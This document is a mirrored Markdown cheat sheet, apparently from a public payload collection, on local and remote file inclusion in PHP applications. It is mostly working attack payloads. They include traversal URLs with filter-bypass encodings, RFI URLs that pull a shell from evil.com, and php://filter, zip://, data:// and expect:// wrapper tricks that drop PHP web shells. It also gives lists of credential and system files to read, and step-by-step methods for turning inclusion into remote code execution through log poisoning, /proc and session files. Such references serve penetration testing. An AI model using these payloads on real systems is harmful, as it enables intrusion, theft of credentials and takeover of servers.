mirror of
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269 lines
8.0 KiB
Markdown
269 lines
8.0 KiB
Markdown
# Local/Remote File Inclusion
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The File Inclusion vulnerability allows an attacker to include a file, usually exploiting a "dynamic file inclusion" mechanisms implemented in the target application.
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## Summary
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* [Basic LFI](#basic-lfi)
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* [Basic RFI](#basic-rfi)
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* [LFI / RFI using wrappers](#lfi--rfi-using-wrappers)
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* [Wrapper php://filter](l#wrapper-phpfilter)
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* [Wrapper zip://](#wrapper-zip)
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* [Wrapper data://](#wrapper-data)
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* [Wrapper expect://](#wrapper-expect)
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* [Wrapper input://](#wrapper-input)
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* [LFI to RCE via /proc/*/fd](#lfi-to-rce-via-procfd)
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* [LFI to RCE via /proc/self/environ](#lfi-to-rce-via-procselfenviron)
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* [LFI to RCE via upload](#lfi-to-rce-via-upload)
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* [LFI to RCE via phpinfo()](#lfi-to-rce-via-phpinfo)
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* [LFI to RCE via controlled log file](#lfi-to-rce-via-controlled-log-file)
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* [LFI to RCE via PHP sessions](#lfi-to-rce-via-php-sessions)
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Linux - Interesting files to check out :
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```powershell
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/etc/issue
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/etc/passwd
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/etc/shadow
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/etc/group
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/etc/hosts
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/etc/motd
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/etc/mysql/my.cnf
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/proc/[0-9]*/fd/[0-9]* (first number is the PID, second is the filedescriptor)
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/proc/self/environ
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/proc/version
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/proc/cmdline
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/proc/sched_debug
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/proc/mounts
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/proc/net/arp
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/proc/net/route
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/proc/net/tcp
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/proc/net/udp
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```
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Windows - Interesting files to check out (Extracted from https://github.com/soffensive/windowsblindread)
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```powershell
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c:/boot.ini
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c:/inetpub/logs/logfiles
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c:/inetpub/wwwroot/global.asa
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c:/inetpub/wwwroot/index.asp
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c:/inetpub/wwwroot/web.config
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c:/sysprep.inf
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c:/sysprep.xml
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c:/sysprep/sysprep.inf
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c:/sysprep/sysprep.xml
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c:/system32/inetsrv/metabase.xml
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c:/sysprep.inf
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c:/sysprep.xml
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c:/sysprep/sysprep.inf
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c:/sysprep/sysprep.xml
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c:/system volume information/wpsettings.dat
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c:/system32/inetsrv/metabase.xml
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c:/unattend.txt
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c:/unattend.xml
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c:/unattended.txt
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c:/unattended.xml
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```
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The following log files are controllable and can be included with an evil payload to achieve a command execution
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```powershell
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/var/log/apache/access.log
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/var/log/apache/error.log
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/var/log/httpd/error_log
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/usr/local/apache/log/error_log
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/usr/local/apache2/log/error_log
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/var/log/vsftpd.log
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/var/log/sshd.log
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/var/log/mail
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```
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## Basic LFI
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```powershell
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http://example.com/index.php?page=../../../etc/passwd
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```
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Null byte
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```powershell
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http://example.com/index.php?page=../../../etc/passwd%00
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```
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Double encoding
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```powershell
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http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
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http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
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```
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Path truncation
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```powershell
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http://example.com/index.php?page=../../../../../../../../../etc/passwd..\.\.\.\.\.\.\.\.\.\.\[ADD MORE]\.\.
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http://example.com/index.php?page=../../../../[…]../../../../../etc/passwd
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```
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Filter bypass tricks
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```powershell
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http://example.com/index.php?page=....//....//etc/passwd
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http://example.com/index.php?page=..///////..////..//////etc/passwd
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http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
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```
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## Basic RFI
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```powershell
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http://example.com/index.php?page=http://evil.com/shell.txt
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```
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Null byte
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```powershell
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http://example.com/index.php?page=http://evil.com/shell.txt%00
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```
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Double encoding
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```powershell
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http://example.com/index.php?page=http:%252f%252fevil.com%252fshell.txt
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```
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## LFI / RFI using wrappers
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### Wrapper php://filter
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The part "php://filter" is case insensitive
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```powershell
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http://example.com/index.php?page=php://filter/read=string.rot13/resource=index.php
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http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php
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http://example.com/index.php?page=pHp://FilTer/convert.base64-encode/resource=index.php
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```
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can be chained with a compression wrapper for large files.
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```powershell
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http://example.com/index.php?page=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd
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```
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### Wrapper zip://
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```python
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echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
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zip payload.zip payload.php;
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mv payload.zip shell.jpg;
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rm payload.php
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http://example.com/index.php?page=zip://shell.jpg%23payload.php
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```
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### Wrapper data://
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```powershell
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http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
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NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
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```
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Fun fact: you can trigger an XSS and bypass the Chrome Auditor with : `http://example.com/index.php?page=data:application/x-httpd-php;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+`
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### Wrapper expect://
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```powershell
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http://example.com/index.php?page=php:expect://id
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http://example.com/index.php?page=php:expect://ls
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```
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### Wrapper input://
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Specify your payload in the POST parameters
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```powershell
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http://example.com/index.php?page=php://input
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POST DATA: <? system('id'); ?>
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```
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## LFI to RCE via /proc/*/fd
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1. Upload a lot of shells (for example : 100)
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2. Include http://example.com/index.php?page=/proc/$PID/fd/$FD, with $PID = PID of the process (can be bruteforced) and $FD the filedescriptor (can be bruteforced too)
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## LFI to RCE via /proc/self/environ
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Like a log file, send the payload in the User-Agent, it will be reflected inside the /proc/self/environ file
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```powershell
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GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
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User-Agent: <?=phpinfo(); ?>
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```
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## LFI to RCE via upload
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If you can upload a file, just inject the shell payload in it (e.g : `<?php system($_GET['c']); ?>` ).
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```powershell
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http://example.com/index.php?page=path/to/uploaded/file.png
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```
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In order to keep the file readable it is best to inject into the metadata for the pictures/doc/pdf
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## LFI to RCE via phpinfo()
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https://www.insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf
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Use the script phpInfoLFI.py (also available at https://www.insomniasec.com/downloads/publications/phpinfolfi.py)
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## LFI to RCE via controlled log file
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Just append your PHP code into the log file by doing a request to the service (Apache, SSH..) and include the log file.
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```powershell
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http://example.com/index.php?page=/var/log/apache/access.log
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http://example.com/index.php?page=/var/log/apache/error.log
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http://example.com/index.php?page=/var/log/vsftpd.log
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http://example.com/index.php?page=/var/log/sshd.log
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http://example.com/index.php?page=/var/log/mail
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http://example.com/index.php?page=/var/log/httpd/error_log
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http://example.com/index.php?page=/usr/local/apache/log/error_log
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http://example.com/index.php?page=/usr/local/apache2/log/error_log
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```
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## LFI to RCE via PHP sessions
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Check if the website use PHP Session (PHPSESSID)
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```javascript
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Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
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Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
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```
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In PHP these sessions are stored into /var/lib/php5/sess_[PHPSESSID] files
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```javascript
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/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
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user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
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```
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Set the cookie to `<?php system('cat /etc/passwd');?>`
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```powershell
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login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
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```
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Use the LFI to include the PHP session file
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```powershell
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login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27
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```
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## Thanks to
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* [OWASP LFI](https://www.owasp.org/index.php/Testing_for_Local_File_Inclusion)
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* [HighOn.coffee LFI Cheat](https://highon.coffee/blog/lfi-cheat-sheet/)
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* [Turning LFI to RFI](https://l.avala.mp/?p=241)
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* [Is PHP vulnerable and under what conditions?](http://0x191unauthorized.blogspot.fr/2015/04/is-php-vulnerable-and-under-what.html)
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* [Upgrade from LFI to RCE via PHP Sessions](https://www.rcesecurity.com/2017/08/from-lfi-to-rce-via-php-sessions/)
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* [Local file inclusion tricks](http://devels-playground.blogspot.fr/2007/08/local-file-inclusion-tricks.html)
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* [CVV #1: Local File Inclusion - SI9INT](https://medium.com/bugbountywriteup/cvv-1-local-file-inclusion-ebc48e0e479a)
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* [Exploiting Blind File Reads / Path Traversal Vulnerabilities on Microsoft Windows Operating Systems - @evisneffos](http://www.soffensive.com/2018/06/exploiting-blind-file-reads-path.html) |